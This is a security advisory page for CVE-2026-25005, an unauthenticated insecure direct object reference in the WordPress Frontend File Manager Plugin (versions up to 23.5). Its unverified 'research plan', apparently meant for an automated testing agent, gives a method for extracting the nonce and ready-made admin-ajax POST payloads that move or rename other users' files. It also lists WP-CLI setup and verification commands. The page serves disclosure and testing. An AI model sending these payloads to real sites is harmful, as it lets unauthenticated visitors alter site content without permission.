CVE-2026-25005

Frontend File Manager Plugin <= 23.5 - Unauthenticated Insecure Direct Object Reference

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
23.6
Patched in
109d
Time to patch

Description

The Frontend File Manager Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 23.5 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=23.5
PublishedJanuary 16, 2026
Last updatedMay 4, 2026

What Changed in the Fix

Changes introduced in v23.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

### 1. Vulnerability Summary The **Frontend File Manager Plugin (<= 23.5)** is vulnerable to an **Insecure Direct Object Reference (IDOR)**. The vulnerability exists because several AJAX callback functions registered for unauthenticated users (via the `wp_ajax_nopriv_` hook) do not perform sufficien…

Show full research plan

1. Vulnerability Summary

The Frontend File Manager Plugin (<= 23.5) is vulnerable to an Insecure Direct Object Reference (IDOR). The vulnerability exists because several AJAX callback functions registered for unauthenticated users (via the wp_ajax_nopriv_ hook) do not perform sufficient authorization checks on the object being modified.

Specifically, the function nm_uploadfile_move_file (and potentially wpfm_edit_file_title_desc) fails to verify that the user requesting a change to a file (identified by a user-supplied file_id) has the permission to modify that specific file. In nm_uploadfile_move_file, if the "Guest Upload" setting is enabled, the code explicitly skips author validation, allowing any unauthenticated user to move any file (even private admin files) to any other directory.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: nm_uploadfile_move_file
  • Vulnerable Parameter: file_id (The IDOR key) and parent_id (The target directory).
  • Authentication: Unauthenticated (if guest uploads are enabled) or Low-Privileged.
  • Preconditions:
    1. The plugin setting wpfm_allow_guest_upload must be set to yes (common in environments where the plugin is used for public submissions).
    2. The attacker needs the post_id of a target file.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=nm_uploadfile_move_file.
  2. Hook Registration: In inc/arrays.php, wpfm_array_get_ajax_callbacks() returns "nm_uploadfile_move_file" => true. This true value causes the plugin to register both wp_ajax_nm_uploadfile_move_file and wp_ajax_nopriv_nm_uploadfile_move_file (in inc/hooks.php).
  3. Vulnerable Function: The execution hits nm_uploadfile_move_file() in inc/callback-functions.php.
  4. Bypassed Check:
    $allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
    if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
        wp_send_json_error(__("Sorry, not allowed", "wpfm"));
    }
    
    If _allow_guest_upload is yes, the entire authorization block is bypassed.
  5. The Sink: The function takes $_REQUEST['file_id'] and $_REQUEST['parent_id'] and calls wp_update_post():
    $result  = array(
        'ID' => $file_id, 
        'post_parent' => $dir_id 
    );
    $post_id = wp_update_post( $result, true );
    
    This updates the parent of any arbitrary WordPress post ID, provided the post type is compatible.

4. Nonce Acquisition Strategy

While the source code provided for 23.5 shows the nonce check is commented out in nm_uploadfile_move_file, it is best practice to provide a strategy in case it is enforced in a specific build.

  1. Identify Shortcode: The plugin uses the shortcode [ffmwp].
  2. Create Trigger Page: Create a public page containing this shortcode to force the plugin to enqueue its scripts and localizes its variables.
    wp post create --post_type=page --post_title="File Manager" --post_status=publish --post_content='[ffmwp]'
    
  3. Extract Nonce: Navigate to the new page and extract the nonce from the wpfm_file_vars or wpfm_ajax_nonce object.
    • Variable: window.wpfm_file_vars (inferred from common plugin patterns) or check for wpfm_ajax_nonce in the HTML.
    • JS Command: browser_eval("window.wpfm_file_vars?.wpfm_ajax_nonce")

5. Exploitation Strategy

We will demonstrate the IDOR by moving a "Private Admin File" into a different folder, effectively altering the file structure of the site.

Step 1: Discover File IDs
Identify a file ID and a folder ID (post IDs for the wpfm-files post type).

Step 2: Send Exploitation Request
Send the following POST request via the http_request tool:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=nm_uploadfile_move_file&file_id=<TARGET_FILE_ID>&parent_id=<NEW_FOLDER_ID>&wpfm_ajax_nonce=<NONCE>
    

6. Test Data Setup

Perform the following via WP-CLI to prepare the environment:

  1. Enable Guest Upload:
    # Setting the option directly in the settings array
    wp option patch insert wpfm_settings wpfm_allow_guest_upload yes
    
  2. Create a Folder (Parent):
    wp post create --post_type=wpfm-files --post_title="Target Folder" --post_status=publish --post_author=1
    
  3. Create a File (to be moved):
    wp post create --post_type=wpfm-files --post_title="Sensitive File" --post_status=publish --post_author=1
    
  4. Create a Public Page:
    wp post create --post_type=page --post_title="Upload" --post_status=publish --post_content='[ffmwp]'
    

7. Expected Results

  • Response: The server should return a JSON success message:
    {"success":true,"data":{"message":"File is move successfully", ...}}
  • Database Change: The post_parent column of the wpfm-files post identified by file_id will be updated to the parent_id.

8. Verification Steps

After sending the HTTP request, verify the IDOR via WP-CLI:

# Check if the parent_id has changed for the sensitive file
wp post get <FILE_ID> --field=post_parent

If the output matches <NEW_FOLDER_ID>, the exploit is successful.

9. Alternative Approaches

If nm_uploadfile_move_file is patched or behaves differently, target wpfm_edit_file_title_desc:

  • Action: wpfm_edit_file_title_desc
  • Payload: action=wpfm_edit_file_title_desc&file_id=<ID>&file_title=HackedByIDOR&file_content=NewDescription
  • Verification: wp post get <ID> --field=post_title

The logic is identical: unauthenticated access via nopriv hook + missing validation of the file_id owner.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.